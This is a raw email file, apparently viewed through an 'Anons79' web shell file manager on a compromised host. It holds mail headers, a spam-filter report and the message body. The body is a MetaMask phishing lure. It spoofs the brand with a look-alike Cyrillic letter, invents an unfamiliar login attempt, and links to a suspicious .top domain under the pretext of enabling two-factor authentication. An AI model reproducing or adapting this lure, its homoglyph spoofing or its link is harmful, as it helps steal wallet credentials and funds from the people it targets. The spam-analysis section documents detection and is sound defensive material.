| Directory : /home/proudlyafrican/mail/.spam/new/ |
|
|
| Current File : //home/proudlyafrican/mail/.spam/new/1748690200.M352916P1687213.nc-ph-2432.beatq.tech,S=6049,W=6149 |
Return-Path: <postmaster@77d98a70f5.nxcli.io>
Delivered-To: proudlyafrican+spam@nc-ph-2432.beatq.tech
Received: from nc-ph-2432.beatq.tech
by nc-ph-2432.beatq.tech with LMTP
id y1LyFBjlOmitvhkAm3PG5w
(envelope-from <postmaster@77d98a70f5.nxcli.io>)
for <proudlyafrican+spam@nc-ph-2432.beatq.tech>; Sat, 31 May 2025 11:16:40 +0000
Return-path: <postmaster@77d98a70f5.nxcli.io>
Envelope-to: info@proudlyafrican.co.uk
Delivery-date: Sat, 31 May 2025 11:16:40 +0000
Received: from cloudhost-2754298.uk-south-2.nxcli.net ([165.84.218.244]:27974)
by nc-ph-2432.beatq.tech with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.98.2)
(envelope-from <postmaster@77d98a70f5.nxcli.io>)
id 1uLKCd-000000072Ap-2hLq
for info@proudlyafrican.co.uk;
Sat, 31 May 2025 11:16:40 +0000
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=77d98a70f5.nxcli.io;
b=058aJNRdEzJpFHTinhuLMvnwniU8bNE8yPqyKA0yMt9j5x+x895LbCF38un3JrBHllsBqMA7cPjaNQysVf40+t5Mp8e1qX05jVYG5ZZ9IuvXioXIQAYQO7fuYy2W+MJYXo1ma6MlRzI3ieqvXBRNWgGqcC0szADFaenA/8f4/tXx+4mb9jn7/gzDjlcc4tlZAJ2Mpvp/IAqZc1weuHSublk33fGSMfKzmhNZ4V63MDsjUS94fSPpbYuKg6BsOAjfiz6JiKjRmZwoyQYS54s8N6OBkiKgvdeMs/+gmYEqJvT/RbCleQmlyfNaZLlcdOxYUW5q2JK3cIyWIYPnpv+4tg==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=77d98a70f5.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type; s=default; bh=ISVGzHlU8HBbqobx8cIk7aWs7sYZdpXE3zX
Kva9lDdQ=; b=mLx5DOhSRVwJI/VcyVVgvt+WSboAu/pT+BsEKeurWfGO2PzCBL4
u7lhkL8sXZ3zExRbudw0RwWp0KEnpO7zvplm5Wax3uSUkOPTKZN9ZIqIdYevRVqN
DcfMLDpNk02t+7V2AYREv0gmFhksN/pRZcAqzo4sJMhVTtcyVzdpny2nTyndAg1a
JWkAvi2C3x3iTdVsyIpTKW9S/fj6/27rmEWzZXvhinOw9xwaI9neDoeodAp/VHaO
6kVnKfAtn4FJHtXFRg8yFHQ25fx/ddZsLakHlueUTzSmhKHRtt9TlV5qkSpwvW8H
ftGqF3+LDe5qf/Sd7DTlUjXl96P4JBPTW4Q==
Received: (qmail 18330 invoked by uid 10229); 31 May 2025 12:15:57 +0100
Date: 31 May 2025 12:15:57 +0100
Message-ID: <20250531111557.18321.qmail@cloudhost-2754298.uk-south-2.nxcli.net>
To: info@proudlyafrican.co.uk
X-PHP-Originating-Script: 10229:s.php
From: "MetaMаsk" <tb6oomg3@iwo.io>
Reply-To: tb6oomg3@iwo.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=8.0
X-Spam-Score: 80
X-Spam-Bar: ++++++++
X-Spam-Report: Spam detection software, running on the system "nc-ph-2432.beatq.tech",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Hello, We noticed an unfamiliar login attempt on your MetaMаsk
wallet. To protect your account, enable Two-Factor Authentication (2FA).
🔐 Setup Now If this was you, no further action is needed. MetaMаsk Security
Team
Content analysis details: (8.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: nxcli.io]
[URI: 369aa.top]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[165.84.218.244 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[165.84.218.244 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[165.84.218.244 listed in sa-accredit.habeas.com]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
2.0 PDS_OTHER_BAD_TLD Untrustworthy TLDs
[URI: fcym.369aa.top (top)]
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
domains are different
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag
5.0 KAM_SOMETLD_ARE_BAD_TLD .bar, .beauty, .buzz, .cam, .casa, .cfd,
.club, .date, .guru, .link, .live, .monster,
.online, .press, .pw, .quest, .rest, .sbs,
.shop, .stream, .top, .trade, .wiki, .work,
.xyz TLD abuse
X-Spam-Flag: YES
Subject: ***SPAM*** Lаst Reminder: Security Notification
Hello,<br>We noticed an unfamiliar login attempt on your MetaMаsk wallet.<br>To protect your account, enable Two-Factor Authentication (2FA).<br>🔐 <a href="https://fcym.369aa.top/cpf/?id=-5644988037704576197-7138">Setup Now</a><br>If this was you, no further action is needed.<br><br>MetaMаsk Security Team
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]
Anons79 Mini Shell